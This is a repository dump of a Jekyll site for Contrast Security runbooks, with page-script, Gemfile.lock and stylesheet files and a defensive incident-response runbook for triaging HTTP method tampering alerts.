RunbookManager(); 151 | }); 152 | 153 | // Add copy functionality to code blocks 154 | document.querySelectorAll('pre code').forEach((block) => { 155 | const copyButton = document.createElement('button'); 156 | copyButton.className = 'copy-button'; 157 | copyButton.textContent = 'Copy'; 158 | 159 | block.parentNode.style.position = 'relative'; 160 | block.parentNode.appendChild(copyButton); 161 | 162 | copyButton.addEventListener('click', async () => { 163 | try { 164 | await navigator.clipboard.writeText(block.textContent); 165 | copyButton.textContent = 'Copied!'; 166 | copyButton.classList.add('copied'); 167 | 168 | setTimeout(() => { 169 | copyButton.textContent = 'Copy'; 170 | copyButton.classList.remove('copied'); 171 | }, 2000); 172 | } catch (err) { 173 | console.error('Failed to copy text:', err); 174 | copyButton.textContent = 'Failed to copy'; 175 | copyButton.classList.add('error'); 176 | 177 | setTimeout(() => { 178 | copyButton.textContent = 'Copy'; 179 | copyButton.classList.remove('error'); 180 | }, 2000); 181 | } 182 | }); 183 | }); 184 | 185 | // Add support for deep linking 186 | window.addEventListener('hashchange', () => { 187 | if (window.location.hash) { 188 | const targetElement = document.querySelector(window.location.hash); 189 | if (targetElement) { 190 | setTimeout(() => { 191 | targetElement.scrollIntoView({ 192 | behavior: 'smooth', 193 | block: 'start' 194 | }); 195 | }, 0); 196 | } 197 | } 198 | }); -------------------------------------------------------------------------------- /Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: https://rubygems.org/ 3 | specs: 4 | activesupport (8.0.0) 5 | base64 6 | benchmark (>= 0.3) 7 | bigdecimal 8 | concurrent-ruby (~> 1.0, >= 1.3.1) 9 | connection_pool (>= 2.2.5) 10 | drb 11 | i18n (>= 1.6, < 2) 12 | logger (>= 1.4.2) 13 | minitest (>= 5.1) 14 | securerandom (>= 0.3) 15 | tzinfo (~> 2.0, >= 2.0.5) 16 | uri (>= 0.13.1) 17 | addressable (2.8.7) 18 | public_suffix (>= 2.0.2, < 7.0) 19 | base64 (0.2.0) 20 | benchmark (0.4.0) 21 | bigdecimal (3.1.8) 22 | coffee-script (2.4.1) 23 | coffee-script-source 24 | execjs 25 | coffee-script-source (1.12.2) 26 | colorator (1.1.0) 27 | commonmarker (0.23.11) 28 | concurrent-ruby (1.3.4) 29 | connection_pool (2.4.1) 30 | csv (3.3.0) 31 | dnsruby (1.72.3) 32 | base64 (~> 0.2.0) 33 | simpleidn (~> 0.2.1) 34 | drb (2.2.1) 35 | em-websocket (0.5.3) 36 | eventmachine (>= 0.12.9) 37 | http_parser.rb (~> 0) 38 | ethon (0.16.0) 39 | ffi (>= 1.15.0) 40 | eventmachine (1.2.7) 41 | execjs (2.10.0) 42 | faraday (2.12.1) 43 | faraday-net_http (>= 2.0, < 3.5) 44 | json 45 | logger 46 | faraday-net_http (3.4.0) 47 | net-http (>= 0.5.0) 48 | ffi (1.17.0) 49 | forwardable-extended (2.6.0) 50 | gemoji (4.1.0) 51 | github-pages (232) 52 | github-pages-health-check (= 1.18.2) 53 | jekyll (= 3.10.0) 54 | jekyll-avatar (= 0.8.0) 55 | jekyll-coffeescript (= 1.2.2) 56 | jekyll-commonmark-ghpages (= 0.5.1) 57 | jekyll-default-layout (= 0.1.5) 58 | jekyll-feed (= 0.17.0) 59 | jekyll-gist (= 1.5.0) 60 | jekyll-github-metadata (= 2.16.1) 61 | jekyll-include-cache (= 0.2.1) 62 | jekyll-mentions (= 1.6.0) 63 | jekyll-optional-front-matter (= 0.3.2) 64 | jekyll-paginate (= 1.1.0) 65 | jekyll-readme-index (= 0.3.0) 66 | jekyll-redirect-from (= 0.16.0) 67 | jekyll-relative-links (= 0.6.1) 68 | jekyll-remote-theme (= 0.4.3) 69 | jekyll-sass-converter (= 1.5.2) 70 | jekyll-seo-tag (= 2.8.0) 71 | jekyll-sitemap (= 1.4.0) 72 | jekyll-swiss (= 1.0.0) 73 | jekyll-theme-architect (= 0.2.0) 74 | jekyll-theme-cayman (= 0.2.0) 75 | jekyll-theme-dinky (= 0.2.0) 76 | jekyll-theme-hacker (= 0.2.0) 77 | jekyll-theme-leap-day (= 0.2.0) 78 | jekyll-theme-merlot (= 0.2.0) 79 | jekyll-theme-midnight (= 0.2.0) 80 | jekyll-theme-minimal (= 0.2.0) 81 | jekyll-theme-modernist (= 0.2.0) 82 | jekyll-theme-primer (= 0.6.0) 83 | jekyll-theme-slate (= 0.2.0) 84 | jekyll-theme-tactile (= 0.2.0) 85 | jekyll-theme-time-machine (= 0.2.0) 86 | jekyll-titles-from-headings (= 0.5.3) 87 | jemoji (= 0.13.0) 88 | kramdown (= 2.4.0) 89 | kramdown-parser-gfm (= 1.1.0) 90 | liquid (= 4.0.4) 91 | mercenary (~> 0.3) 92 | minima (= 2.5.1) 93 | nokogiri (>= 1.16.2, < 2.0) 94 | rouge (= 3.30.0) 95 | terminal-table (~> 1.4) 96 | webrick (~> 1.8) 97 | github-pages-health-check (1.18.2) 98 | addressable (~> 2.3) 99 | dnsruby (~> 1.60) 100 | octokit (>= 4, < 8) 101 | public_suffix (>= 3.0, < 6.0) 102 | typhoeus (~> 1.3) 103 | html-pipeline (2.14.3) 104 | activesupport (>= 2) 105 | nokogiri (>= 1.4) 106 | http_parser.rb (0.8.0) 107 | i18n (1.14.6) 108 | concurrent-ruby (~> 1.0) 109 | jekyll (3.10.0) 110 | addressable (~> 2.4) 111 | colorator (~> 1.0) 112 | csv (~> 3.0) 113 | em-websocket (~> 0.5) 114 | i18n (>= 0.7, < 2) 115 | jekyll-sass-converter (~> 1.0) 116 | jekyll-watch (~> 2.0) 117 | kramdown (>= 1.17, < 3) 118 | liquid (~> 4.0) 119 | mercenary (~> 0.3.3) 120 | pathutil (~> 0.9) 121 | rouge (>= 1.7, < 4) 122 | safe_yaml (~> 1.0) 123 | webrick (>= 1.0) 124 | jekyll-avatar (0.8.0) 125 | jekyll (>= 3.0, < 5.0) 126 | jekyll-coffeescript (1.2.2) 127 | coffee-script (~> 2.2) 128 | coffee-script-source (~> 1.12) 129 | jekyll-commonmark (1.4.0) 130 | commonmarker (~> 0.22) 131 | jekyll-commonmark-ghpages (0.5.1) 132 | commonmarker (>= 0.23.7, < 1.1.0) 133 | jekyll (>= 3.9, < 4.0) 134 | jekyll-commonmark (~> 1.4.0) 135 | rouge (>= 2.0, < 5.0) 136 | jekyll-default-layout (0.1.5) 137 | jekyll (>= 3.0, < 5.0) 138 | jekyll-feed (0.17.0) 139 | jekyll (>= 3.7, < 5.0) 140 | jekyll-gist (1.5.0) 141 | octokit (~> 4.2) 142 | jekyll-github-metadata (2.16.1) 143 | jekyll (>= 3.4, < 5.0) 144 | octokit (>= 4, < 7, != 4.4.0) 145 | jekyll-include-cache (0.2.1) 146 | jekyll (>= 3.7, < 5.0) 147 | jekyll-mentions (1.6.0) 148 | html-pipeline (~> 2.3) 149 | jekyll (>= 3.7, < 5.0) 150 | jekyll-optional-front-matter (0.3.2) 151 | jekyll (>= 3.0, < 5.0) 152 | jekyll-paginate (1.1.0) 153 | jekyll-readme-index (0.3.0) 154 | jekyll (>= 3.0, < 5.0) 155 | jekyll-redirect-from (0.16.0) 156 | jekyll (>= 3.3, < 5.0) 157 | jekyll-relative-links (0.6.1) 158 | jekyll (>= 3.3, < 5.0) 159 | jekyll-remote-theme (0.4.3) 160 | addressable (~> 2.0) 161 | jekyll (>= 3.5, < 5.0) 162 | jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0) 163 | rubyzip (>= 1.3.0, < 3.0) 164 | jekyll-sass-converter (1.5.2) 165 | sass (~> 3.4) 166 | jekyll-seo-tag (2.8.0) 167 | jekyll (>= 3.8, < 5.0) 168 | jekyll-sitemap (1.4.0) 169 | jekyll (>= 3.7, < 5.0) 170 | jekyll-swiss (1.0.0) 171 | jekyll-theme-architect (0.2.0) 172 | jekyll (> 3.5, < 5.0) 173 | jekyll-seo-tag (~> 2.0) 174 | jekyll-theme-cayman (0.2.0) 175 | jekyll (> 3.5, < 5.0) 176 | jekyll-seo-tag (~> 2.0) 177 | jekyll-theme-dinky (0.2.0) 178 | jekyll (> 3.5, < 5.0) 179 | jekyll-seo-tag (~> 2.0) 180 | jekyll-theme-hacker (0.2.0) 181 | jekyll (> 3.5, < 5.0) 182 | jekyll-seo-tag (~> 2.0) 183 | jekyll-theme-leap-day (0.2.0) 184 | jekyll (> 3.5, < 5.0) 185 | jekyll-seo-tag (~> 2.0) 186 | jekyll-theme-merlot (0.2.0) 187 | jekyll (> 3.5, < 5.0) 188 | jekyll-seo-tag (~> 2.0) 189 | jekyll-theme-midnight (0.2.0) 190 | jekyll (> 3.5, < 5.0) 191 | jekyll-seo-tag (~> 2.0) 192 | jekyll-theme-minimal (0.2.0) 193 | jekyll (> 3.5, < 5.0) 194 | jekyll-seo-tag (~> 2.0) 195 | jekyll-theme-modernist (0.2.0) 196 | jekyll (> 3.5, < 5.0) 197 | jekyll-seo-tag (~> 2.0) 198 | jekyll-theme-primer (0.6.0) 199 | jekyll (> 3.5, < 5.0) 200 | jekyll-github-metadata (~> 2.9) 201 | jekyll-seo-tag (~> 2.0) 202 | jekyll-theme-slate (0.2.0) 203 | jekyll (> 3.5, < 5.0) 204 | jekyll-seo-tag (~> 2.0) 205 | jekyll-theme-tactile (0.2.0) 206 | jekyll (> 3.5, < 5.0) 207 | jekyll-seo-tag (~> 2.0) 208 | jekyll-theme-time-machine (0.2.0) 209 | jekyll (> 3.5, < 5.0) 210 | jekyll-seo-tag (~> 2.0) 211 | jekyll-titles-from-headings (0.5.3) 212 | jekyll (>= 3.3, < 5.0) 213 | jekyll-watch (2.2.1) 214 | listen (~> 3.0) 215 | jemoji (0.13.0) 216 | gemoji (>= 3, < 5) 217 | html-pipeline (~> 2.2) 218 | jekyll (>= 3.0, < 5.0) 219 | json (2.9.0) 220 | kramdown (2.4.0) 221 | rexml 222 | kramdown-parser-gfm (1.1.0) 223 | kramdown (~> 2.0) 224 | liquid (4.0.4) 225 | listen (3.9.0) 226 | rb-fsevent (~> 0.10, >= 0.10.3) 227 | rb-inotify (~> 0.9, >= 0.9.10) 228 | logger (1.6.2) 229 | mercenary (0.3.6) 230 | mini_portile2 (2.8.9) 231 | minima (2.5.1) 232 | jekyll (>= 3.5, < 5.0) 233 | jekyll-feed (~> 0.9) 234 | jekyll-seo-tag (~> 2.1) 235 | minitest (5.25.4) 236 | net-http (0.6.0) 237 | uri 238 | nokogiri (1.18.9) 239 | mini_portile2 (~> 2.8.2) 240 | racc (~> 1.4) 241 | octokit (4.25.1) 242 | faraday (>= 1, < 3) 243 | sawyer (~> 0.9) 244 | pathutil (0.16.2) 245 | forwardable-extended (~> 2.6) 246 | public_suffix (5.1.1) 247 | racc (1.8.1) 248 | rb-fsevent (0.11.2) 249 | rb-inotify (0.11.1) 250 | ffi (~> 1.0) 251 | rexml (3.3.9) 252 | rouge (3.30.0) 253 | rubyzip (2.3.2) 254 | safe_yaml (1.0.5) 255 | sass (3.7.4) 256 | sass-listen (~> 4.0.0) 257 | sass-listen (4.0.0) 258 | rb-fsevent (~> 0.9, >= 0.9.4) 259 | rb-inotify (~> 0.9, >= 0.9.7) 260 | sawyer (0.9.2) 261 | addressable (>= 2.3.5) 262 | faraday (>= 0.17.3, < 3) 263 | securerandom (0.4.0) 264 | simpleidn (0.2.3) 265 | terminal-table (1.8.0) 266 | unicode-display_width (~> 1.1, >= 1.1.1) 267 | typhoeus (1.4.1) 268 | ethon (>= 0.9.0) 269 | tzinfo (2.0.6) 270 | concurrent-ruby (~> 1.0) 271 | unicode-display_width (1.8.0) 272 | uri (1.0.3) 273 | webrick (1.9.1) 274 | 275 | PLATFORMS 276 | ruby 277 | 278 | DEPENDENCIES 279 | github-pages 280 | jekyll-remote-theme 281 | jekyll-seo-tag 282 | kramdown 283 | rouge 284 | 285 | BUNDLED WITH 286 | 2.5.22 287 | -------------------------------------------------------------------------------- /assets/css/style.css: -------------------------------------------------------------------------------- 1 | /* Base styles for Contrast Security Runbooks */ 2 | 3 | :root { 4 | /* Brand Colors */ 5 | --deep-green: #004D45; 6 | --medium-green: #0E9E53; 7 | --midnight-blue: #0A004F; 8 | --red: #FF6862; 9 | --purple: #804CF5; 10 | --blue: #3877FF; 11 | --bright-green: #40D273; 12 | --light-blue: #00CFFE; 13 | --platinum-grey: #9DA5B3; 14 | --charcoal: #181818; 15 | 16 | /* Semantic Colors */ 17 | --text-primary: #181818; 18 | --background-primary: #FFFFFF; 19 | --background-secondary: #F3F3F3; 20 | --border-color: #181818; 21 | 22 | /* Typography */ 23 | --font-family-base: 'nohemi', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; 24 | --font-family-heading: 'nohemi', sans-serif; 25 | --font-size-base: 16px; 26 | --line-height-base: 1.6; 27 | 28 | /* Spacing */ 29 | --spacing-unit: 0.25rem; 30 | --container-max-width: 1200px; 31 | --sidebar-width: 280px; 32 | 33 | /* Animation */ 34 | --transition-base: 0.2s ease-in-out; 35 | 36 | /* Z-index */ 37 | --z-index-nav: 1000; 38 | --z-index-modal: 2000; 39 | } 40 | 41 | /* Reset & Base Styles */ 42 | *, 43 | *::before, 44 | *::after { 45 | box-sizing: border-box; 46 | margin: 0; 47 | padding: 0; 48 | } 49 | 50 | html { 51 | font-size: var(--font-size-base); 52 | scroll-behavior: smooth; 53 | } 54 | 55 | body { 56 | font-family: var(--font-family-base); 57 | line-height: var(--line-height-base); 58 | color: var(--text-primary); 59 | background-color: var(--background-primary); 60 | -webkit-font-smoothing: antialiased; 61 | -moz-osx-font-smoothing: grayscale; 62 | } 63 | 64 | /* Accessibility */ 65 | .skip-nav { 66 | position: absolute; 67 | width: 1px; 68 | height: 1px; 69 | padding: 0; 70 | margin: -1px; 71 | overflow: hidden; 72 | clip: rect(0, 0, 0, 0); 73 | white-space: nowrap; 74 | border: 0; 75 | } 76 | 77 | .skip-nav:focus { 78 | position: fixed; 79 | top: 0; 80 | left: 50%; 81 | transform: translateX(-50%); 82 | width: auto; 83 | height: auto; 84 | padding: 1rem; 85 | margin: 0; 86 | clip: auto; 87 | background: var(--background-primary); 88 | color: var(--text-primary); 89 | text-decoration: none; 90 | z-index: calc(var(--z-index-nav) + 1); 91 | } 92 | 93 | /* Typography */ 94 | h1, 95 | h2, 96 | h3, 97 | h4, 98 | h5, 99 | h6 { 100 | font-family: var(--font-family-heading); 101 | color: var(--deep-green); 102 | margin: calc(var(--spacing-unit) * 6) 0 calc(var(--spacing-unit) * 2); 103 | line-height: 1.3; 104 | } 105 | 106 | h1 { 107 | font-size: 2.5rem; 108 | } 109 | 110 | h2 { 111 | font-size: 2rem; 112 | } 113 | 114 | h3 { 115 | font-size: 1.75rem; 116 | } 117 | 118 | h4 { 119 | font-size: 1.5rem; 120 | } 121 | 122 | h5 { 123 | font-size: 1.25rem; 124 | } 125 | 126 | h6 { 127 | font-size: 1rem; 128 | } 129 | 130 | p { 131 | margin-bottom: 1rem; 132 | } 133 | 134 | /* Links */ 135 | a { 136 | color: var(--blue); 137 | text-decoration: none; 138 | transition: color var(--transition-base); 139 | } 140 | 141 | a:hover { 142 | text-decoration: underline; 143 | } 144 | 145 | /* Navigation */ 146 | .nav-wrapper { 147 | background-color: var(--deep-green); 148 | padding: 1rem 0; 149 | position: sticky; 150 | top: 0; 151 | z-index: var(--z-index-nav); 152 | } 153 | 154 | .nav-toggle { 155 | display: none; 156 | } 157 | 158 | .nav-brand { 159 | display: flex; 160 | align-items: center; 161 | } 162 | 163 | .nav-logo { 164 | height: 2rem; 165 | width: auto; 166 | } 167 | 168 | .nav-links { 169 | display: flex; 170 | gap: 1.5rem; 171 | } 172 | 173 | .nav-links a { 174 | color: white; 175 | text-decoration: none; 176 | font-weight: 500; 177 | padding: 0.5rem; 178 | border-radius: 4px; 179 | transition: background-color var(--transition-base); 180 | } 181 | 182 | .nav-links a:hover { 183 | background-color: rgba(255, 255, 255, 0.1); 184 | } 185 | 186 | .nav-links a.active { 187 | background-color: var(--medium-green); 188 | } 189 | 190 | /* Layout */ 191 | .container { 192 | max-width: var(--container-max-width); 193 | margin: 0 auto; 194 | padding: 0 1.5rem; 195 | } 196 | 197 | /* Footer */ 198 | .site-footer { 199 | background-color: var(--charcoal); 200 | color: white; 201 | padding: 2rem 0; 202 | margin-top: 4rem; 203 | } 204 | 205 | .site-footer a { 206 | color: var(--light-blue); 207 | } 208 | 209 | /* Utilities */ 210 | .visually-hidden { 211 | position: absolute !important; 212 | width: 1px !important; 213 | height: 1px !important; 214 | padding: 0 !important; 215 | margin: -1px !important; 216 | overflow: hidden !important; 217 | clip: rect(0, 0, 0, 0) !important; 218 | white-space: nowrap !important; 219 | border: 0 !important; 220 | } 221 | 222 | /* Code blocks */ 223 | pre, 224 | code { 225 | font-family: 'Consolas', 'Monaco', monospace; 226 | font-size: 0.9em; 227 | background: var(--background-secondary); 228 | border-radius: 4px; 229 | } 230 | 231 | pre { 232 | padding: 1rem; 233 | overflow-x: auto; 234 | border: 1px solid var(--border-color); 235 | margin: 1rem 0; 236 | } 237 | 238 | code { 239 | padding: 0.2em 0.4em; 240 | } 241 | 242 | pre code { 243 | padding: 0; 244 | background: none; 245 | } 246 | 247 | /* Tables */ 248 | table { 249 | width: 100%; 250 | border-collapse: collapse; 251 | margin: 1rem 0; 252 | } 253 | 254 | th, 255 | td { 256 | padding: 0.75rem; 257 | border: 1px solid var(--border-color); 258 | text-align: left; 259 | } 260 | 261 | th { 262 | background-color: var(--deep-green); 263 | color: white; 264 | } 265 | 266 | tr:nth-child(even) { 267 | background-color: var(--background-secondary); 268 | } 269 | 270 | /* Alert Components */ 271 | .alert { 272 | padding: 1rem; 273 | margin: 1rem 0; 274 | border-left: 4px solid; 275 | border-radius: 4px; 276 | } 277 | 278 | .alert-info { 279 | background-color: rgba(56, 119, 255, 0.1); 280 | border-left-color: var(--blue); 281 | } 282 | 283 | .alert-warning { 284 | background-color: rgba(255, 104, 98, 0.1); 285 | border-left-color: var(--red); 286 | } 287 | 288 | .alert-success { 289 | background-color: rgba(14, 158, 83, 0.1); 290 | border-left-color: var(--medium-green); 291 | } 292 | 293 | /* Spacing Utilities */ 294 | .mt-0 { 295 | margin-top: 0; 296 | } 297 | 298 | .mb-0 { 299 | margin-bottom: 0; 300 | } 301 | 302 | .ml-0 { 303 | margin-left: 0; 304 | } 305 | 306 | .mr-0 { 307 | margin-right: 0; 308 | } 309 | 310 | .mt-1 { 311 | margin-top: calc(var(--spacing-unit) * 1); 312 | } 313 | 314 | .mb-1 { 315 | margin-bottom: calc(var(--spacing-unit) * 1); 316 | } 317 | 318 | .ml-1 { 319 | margin-left: calc(var(--spacing-unit) * 1); 320 | } 321 | 322 | .mr-1 { 323 | margin-right: calc(var(--spacing-unit) * 1); 324 | } 325 | 326 | .mt-2 { 327 | margin-top: calc(var(--spacing-unit) * 2); 328 | } 329 | 330 | .mb-2 { 331 | margin-bottom: calc(var(--spacing-unit) * 2); 332 | } 333 | 334 | .ml-2 { 335 | margin-left: calc(var(--spacing-unit) * 2); 336 | } 337 | 338 | .mr-2 { 339 | margin-right: calc(var(--spacing-unit) * 2); 340 | } 341 | 342 | .mt-4 { 343 | margin-top: calc(var(--spacing-unit) * 4); 344 | } 345 | 346 | .mb-4 { 347 | margin-bottom: calc(var(--spacing-unit) * 4); 348 | } 349 | 350 | .ml-4 { 351 | margin-left: calc(var(--spacing-unit) * 4); 352 | } 353 | 354 | .mr-4 { 355 | margin-right: calc(var(--spacing-unit) * 4); 356 | } 357 | 358 | /* Responsive Design */ 359 | @media (max-width: 768px) { 360 | :root { 361 | --font-size-base: 14px; 362 | } 363 | 364 | .container { 365 | padding: 0 1rem; 366 | } 367 | 368 | .nav-wrapper { 369 | padding: 0.5rem 0; 370 | } 371 | 372 | .nav-toggle { 373 | display: block; 374 | background: none; 375 | border: none; 376 | color: white; 377 | padding: 0.5rem; 378 | cursor: pointer; 379 | } 380 | 381 | .nav-links { 382 | display: none; 383 | position: absolute; 384 | top: 100%; 385 | left: 0; 386 | right: 0; 387 | flex-direction: column; 388 | background-color: var(--deep-green); 389 | padding: 1rem; 390 | } 391 | 392 | .nav-links.active { 393 | display: flex; 394 | } 395 | 396 | h1 { 397 | font-size: 2rem; 398 | } 399 | 400 | h2 { 401 | font-size: 1.75rem; 402 | } 403 | 404 | h3 { 405 | font-size: 1.5rem; 406 | } 407 | 408 | h4 { 409 | font-size: 1.25rem; 410 | } 411 | 412 | h5 { 413 | font-size: 1.125rem; 414 | } 415 | 416 | h6 { 417 | font-size: 1rem; 418 | } 419 | } 420 | 421 | /* Print Styles */ 422 | @media print { 423 | :root { 424 | --font-size-base: 12pt; 425 | } 426 | 427 | body { 428 | background: white; 429 | } 430 | 431 | .nav-wrapper, 432 | .site-footer { 433 | display: none; 434 | } 435 | 436 | .container { 437 | max-width: none; 438 | padding: 0; 439 | margin: 0; 440 | } 441 | 442 | a { 443 | text-decoration: underline; 444 | } 445 | 446 | a[href]::after { 447 | content: " (" attr(href) ")"; 448 | } 449 | 450 | a[href^="#"]::after, 451 | a[href^="javascript:"]::after { 452 | content: ""; 453 | } 454 | 455 | pre, 456 | blockquote { 457 | page-break-inside: avoid; 458 | } 459 | 460 | thead { 461 | display: table-header-group; 462 | } 463 | 464 | tr, 465 | img { 466 | page-break-inside: avoid; 467 | } 468 | 469 | p, 470 | h2, 471 | h3 { 472 | orphans: 3; 473 | widows: 3; 474 | } 475 | 476 | h2, 477 | h3 { 478 | page-break-after: avoid; 479 | } 480 | } 481 | -------------------------------------------------------------------------------- /_runbooks/http-method-tampering.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: runbook 3 | title: "HTTP Method Tampering" 4 | description: "Guide for handling attacks where malicious actors manipulate HTTP methods to bypass authentication, authorization, or other security mechanisms" 5 | --- 6 | 7 | 8 | # HTTP Method Tampering Runbook 9 | 10 | Method Tampering (aka verb tampering or HTTP method tampering) is an attack where an attacker manipulates the HTTP method used in a request to a web application. Providing unexpected HTTP methods can sometimes bypass authentication, authorization or other security mechanisms. 11 | 12 | 13 | Example Event - Exploited outcome HTTP Method Tampering 14 | `Oct 21 08:58:55 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The input METHOD had a value that successfully exploited method-tampering - SOMEMETHOD|WARN|pri=method-tampering src=0:0:0:0:0:0:0:1 spt=8080 request=/error requestMethod=com.contrastsecurity.agent.contrastapi_v1_0.RequestMethod$1@1cf573b7 app=webapplication outcome=EXPLOITED` 15 | 16 | 17 | 18 | Example Event - Blocked outcome HTTP Method Tampering 19 | `Oct 21 09:00:03 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.9.0|SECURITY|The input METHOD had a value that successfully exploited method-tampering - SOMEMETHOD|WARN|pri=method-tampering src=0:0:0:0:0:0:0:1 spt=8080 request=/ requestMethod=com.contrastsecurity.agent.contrastapi_v1_0.RequestMethod$1@12076e97 app=webapplication outcome=BLOCKED` 20 | 21 | 22 | 23 | 24 | \ 25 | What is the “outcome” of the event you are triaging? (click to proceed) 26 | 27 | - [Exploited](#exploited) 28 | - [Blocked](#blocked) 29 | 30 | 31 | - [Success](#success) 32 | 33 | 34 | ## Exploited 35 | 36 | "Exploited" means Contrast detected an abnormal HTTP method used in an incoming request, and the response code was not a 501 or 405 indicating the request was processed. 37 | 38 | To verify this is a true positive, review the following attributes of the event for common indicators: 39 | 40 | - Does the request contain an abnormal HTTP method? (e.g one that is not defined in the HTTP RFC) 41 | - Is the HTTP response code not a 501 or 405? 42 | - Does the HTTP method make sense in the context of the application? (e.g a DELETE request to a static resource) 43 | 44 | 45 | 46 | \ 47 | Does the event appear to be a true positive? (click to proceed) 48 | 49 | - [No](#exploited-false-positive) 50 | - [Yes, or unsure](#exploited-true-positive) 51 | 52 | 53 | 54 | ## Blocked 55 | 56 | "Blocked" means Contrast detected an abnormal HTTP method used in an incoming request, therefore blocked execution of the request. 57 | 58 | To verify this is a true positive, review the following attributes of the event: 59 | 60 | - Does the request contain an abnormal HTTP method? (e.g one that is not defined in the HTTP RFC) 61 | - Is the HTTP response code not a 501 or 405? 62 | - Does the HTTP method make sense in the context of the application? (e.g a DELETE request to a static resource) 63 | 64 | 65 | 66 | \ 67 | Is the event a true positive? (click to proceed) 68 | 69 | - [No](#blocked-false-positive) 70 | - [Yes, or unsure](#blocked-true-positive) 71 | 72 | 73 | 74 | 75 | 76 | 77 | ## Success 78 | 79 | “Success" means that Contrast's security measures functioned as intended, preventing unauthorized access or potentially malicious activity from reaching the application. This could be due to a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html), [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html), or [bot block rule](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.) being triggered. 80 | 81 | Generally, these events don't necessitate action because they signify the system is working correctly. 82 | 83 | However, further investigation may be beneficial in specific scenarios to gain more insights or proactively enhance security: 84 | 85 | - Should the event have been blocked?: 86 | - If the event is from an [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html): 87 | - Correlate the IP address with other events to identify any attempted malicious actions. 88 | - Look up the IP address's reputation and origin to determine if it's known for malicious activity. 89 | - Check if the IP is listed on any other denylists across your systems. 90 | - If the event is from a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html): 91 | - Correlate the event with any exploited or probed events. 92 | - Confirm if the virtual patch is protecting a known vulnerability in the application. 93 | - If the event is from a [Bot Block](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.): 94 | - Analyze the user-agent header of the HTTP request. Only requests originating from known scanning, fuzzing, or malicious user-agents should be blocked. 95 | 96 | \ 97 | If the event appears to be for legitimate traffic, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured. 98 | 99 | \ 100 | [Proceed to Post-Incident Activities](#post-incident-activities) 101 | 102 | 103 | ## Exploited True Positive 104 | 105 | It is possible that the event is a True Positive, but is benign. A Benign True Positive is when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 106 | 107 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 108 | 109 | \ 110 | If it does not appear to be a Benign True Positive, the most immediate action to stop an "active" attack would be to block the current attacker of the exploited event, while further triage could result in a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html)/[enabling block mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) for the rule: 111 | 112 | - Is the attack originating from a specific IP[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? 113 | - Block using network appliance 114 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 115 | - Are all of the events originating from the same application user account? 116 | - Determine if the account is a legitimate account 117 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 118 | - If not, consider the following options: 119 | - Ban the account 120 | - Disable the account 121 | - Delete the account 122 | 123 | \ 124 | \ 125 | Once the current attack has been stopped, consider taking additional steps to prevent future exploitation. 126 | 127 | - If the only “Exploited” events for this rule are true positives, then the rule can be [switched to “Block” mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) which will prevent future exploitation. 128 | - If there are other “Exploited” events that appear to be legitimate, benign traffic, then “Block” mode would block those events as well, which could have negative impact to the application. 129 | - Before enabling “Block” mode for this situation, you must first exclude the legitimate, benign traffic being caught in the rule. 130 | - Alternatively, you can set up a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html) that only allows the legitimate, benign traffic through and any non-matches will be blocked. 131 | 132 | If none of the above options are satisfactory and it's perceived the application is at great risk, you can consider shutting down the application or removing network connectivity. 133 | 134 | \ 135 | \ 136 | Post Containment 137 | 138 | - If confirmed this is a True Positive, it should be raised with the appsec/dev teams to get fixed. Useful information for those teams would be: 139 | 140 | - Application name 141 | - Is app in production, development, staging, etc 142 | - Affected URL 143 | - Attack payload 144 | - Stack trace of the request 145 | - To better understand the extent of the incident and to ensure the attack is no longer occurring, look for other IOCs: 146 | - Did the same IP Address Generate Other Alerts? 147 | - Is the vulnerability being exploited by other actors? 148 | - Spike in traffic or repeated access patterns to the vulnerable URL 149 | - Correlate exploited events with any "probed" or "blocked" events 150 | - If the attack was able to execute commands on the server, the server may need to be considered compromised and reviewed for persistence and other lateral movement. 151 | 152 | \ 153 | \ 154 | [Proceed to Post-Incident Activities](#post-incident-activities) 155 | 156 | 157 | 158 | ## Exploited False Positive 159 | 160 | If the event seems to be a False Positive, consider the following options: 161 | 162 | - Ignore 163 | - [Create Exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) 164 | 165 | \ 166 | [Proceed to Post-Incident Activities](#post-incident-activities) 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | ## Blocked True Positive 176 | 177 | It is possible that the event is a True Positive, but benign. A Benign True Positive is when an application’s design relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 178 | 179 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 180 | 181 | If it does not appear to be a Benign True Positive, consider the following options: 182 | 183 | - If one IP address is generating a lot of blocked events, it's probably worthwhile to block it. 184 | - Notify Dev/Appsec team of Vulnerability. Useful information for those teams would be: 185 | - Application name 186 | - Is app in production, development, staging, etc 187 | - Affected URL 188 | - payload 189 | - Stack trace of the request 190 | - Look for IOCs of further attacks in other parts/inputs of the application 191 | - Other blocked or probed events? 192 | - Did anything show up as "exploited" indicating a different rule did not have blocking enabled? 193 | - Ignore 194 | 195 | [Proceed to Post-Incident Activities](#post-incident-activities) 196 | 197 | 198 | 199 | ## Blocked False Positive 200 